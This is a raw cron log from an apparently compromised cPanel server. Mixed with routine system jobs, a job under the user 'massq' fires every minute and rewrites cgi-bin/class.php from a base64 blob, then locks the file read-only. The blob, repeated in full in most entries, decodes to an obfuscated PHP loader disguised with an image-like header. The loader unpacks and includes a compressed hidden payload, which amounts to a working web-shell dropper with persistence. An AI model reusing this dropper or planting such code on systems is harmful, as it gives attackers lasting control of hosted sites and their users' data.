Nov 14 04:09:01 server CROND[31950]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:10:01 server CROND[457]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 04:10:01 server CROND[460]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:10:01 server CROND[462]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 04:10:01 server CROND[461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:11:01 server CROND[1395]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:12:01 server CROND[2272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:12:01 server CROND[2273]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 04:13:01 server CROND[3158]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:14:01 server CROND[4017]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:15:01 server CROND[4582]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 04:15:01 server CROND[4583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:15:01 server CROND[4584]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:15:01 server CROND[4581]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:16:01 server CROND[5486]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:17:01 server CROND[6336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:18:01 server CROND[7199]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:19:01 server CROND[8075]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:20:01 server CROND[8862]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 04:20:01 server CROND[8863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 04:20:01 server CROND[8864]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 04:20:01 server CROND[8866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 04:20:01 server CROND[8865]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 04:21:01 server CROND[9462]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
